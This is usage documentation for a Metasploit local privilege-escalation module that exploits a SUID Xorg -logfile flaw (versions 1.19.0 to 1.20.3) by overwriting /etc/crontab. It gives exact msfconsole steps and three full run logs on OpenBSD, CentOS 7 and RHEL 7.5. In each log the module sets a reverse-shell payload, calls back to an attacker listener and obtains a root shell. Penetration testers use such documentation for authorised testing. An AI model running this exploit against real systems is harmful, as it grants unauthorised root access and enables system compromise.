## Vulnerable Application

This module attempts to gain root privileges using Xorg X11 server versions 1.19.0 < 1.20.3 set as SUID.
A permission check flaw exists for -modulepath and -logfile options when starting Xorg.
This flaw allows users to write over existing files on the system.
This exploit backs up crontab and then uses -logfile to overwrite it.
A command to be run is set for the Font Path argument -fp which will be logged and ran by cron.

Xorg (commonly referred as simply X) is the most popular display server among Linux users.
Its ubiquity has led to making it an ever-present requisite for GUI applications,
resulting in massive adoption from most distributions.

Xorg is more restrictive to exploit under CentOS / RHEL. The user must have console lock and SeLinux may interfere.
If Selinux is enforcing crontabs context will be changed on exploit and you will be unable to clean it.

This module has been tested successfully on:

* OpenBSD 6.3
* OpenBSD 6.4
* CentOS 7.4.1708 x86_64
* CentOS 7.5.1084 x86_64
* Red Hat Enterprise Linux 7.5 x86_64


## Verification Steps

On CentOS/RHEL your session must have console lock.  To get a console lock you can login locally with a user.

1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/multi/local/xorg_x11_suid_server`
4. Do: Set a payload/target or use default(cmd/unix/reverse_openssl)
5. Do: `set SESSION [SESSION]`
6. Do: `set LHOST [LHOST]`
7. Do: `run`
8. You should get a new *root* session


## Options

### Xdisplay

Display to use for Xorg (default: `:1`)

### WritableDir

A writable directory file system path (default: `/tmp`)

### ConsoleLock

Will check for console lock under linux (default: `true`)


## Scenarios

### OpenBSD

```
msf5 > use exploit/multi/local/xorg_x11_suid_server
msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
session => 1
msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.30.0.2
lhost => 172.30.0.2
msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true
verbose => true
msf5 exploit(multi/local/xorg_x11_suid_server) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse double SSL handler on 172.30.0.2:4444
[+] Passed all initial checks for exploit
[*] Uploading your payload, this could take a while
[*] Trying /etc/crontab overwrite
[+] /etc/crontab overwrite successful
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Waiting on cron to run
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo t2XWfcWkZHevLPS8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "t2XWfcWkZHevLPS8\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.30.0.2:4444 -> 172.30.0.99:41253) at 2018-11-12 15:06:39 -0600
[+] Returning session after cleaning
[+] Deleted /tmp/.session-odRjfx

id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
```

### CentOS 7.4.1708 x86_64

```
msf5 > use exploit/multi/local/xorg_x11_suid_server
msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
session => 1
msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true
verbose => true
msf5 exploit(multi/local/xorg_x11_suid_server) > run

[*] Started reverse double SSL handler on 172.16.191.188:4444 
[*] Running additional check for Linux
[+] Console lock for user
[+] Selinux is not an issue
[+] Xorg path found at /usr/bin/Xorg
[+] Xorg binary /usr/bin/Xorg is SUID
[+] Xorg version 1.19.3 is vulnerable
[!] Xorg in process list
[!] Could not get version or Xorg process possibly running, may fail
[+] Passed all initial checks for exploit
[*] Uploading your payload, this could take a while
[*] Trying /etc/crontab overwrite
[+] /etc/crontab overwrite successful
[*] Waiting on cron to run
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo zk0jobDMxFdBxLBU;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "zk0jobDMxFdBxLBU\n"
[*] Matching...
[*] B is input...
[*] Command shell session 7 opened (172.16.191.188:4444 -> 172.16.191.141:46318) at 2018-11-24 21:31:04 -0500
[*] Waiting on cron to run
[+] Returning session after cleaning
[+] Deleted /tmp/.session-Tafw0iW0r8

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
uname -a
Linux centos-7-1708.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```

### Red Hat Enterprise Linux 7.5 x86_64

```
msf5 > use exploit/multi/local/xorg_x11_suid_server
msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1
session => 1
msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true
verbose => true
msf5 exploit(multi/local/xorg_x11_suid_server) > run

[*] Started reverse double SSL handler on 172.16.191.165:4444 
[*] Running additional check for Linux
[+] Console lock for user
[+] Selinux is not an issue
[+] Xorg path found at /usr/bin/Xorg
[+] Xorg binary /usr/bin/Xorg is SUID
[+] Xorg version 1.19.5 is vulnerable
[!] Xorg in process list
[!] Could not get version or Xorg process possibly running, may fail
[+] Passed all initial checks for exploit
[*] Uploading your payload, this could take a while
[*] Trying /etc/crontab overwrite
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo EEdPp66R4es6U3WF;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[+] /etc/crontab overwrite successful. Waiting for job to run (may take a minute)...
[*] Reading from socket B
[*] B: "EEdPp66R4es6U3WF\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.228:44978) at 2019-04-21 06:29:04 -0400
[+] Returning session after cleaning
[+] Deleted /tmp/.session-aqxyug0fH

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
uname -a
Linux red-hat-7-5-x64.local 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/redhat-release
Red Hat Enterprise Linux Server release 7.5 (Maipo)
```
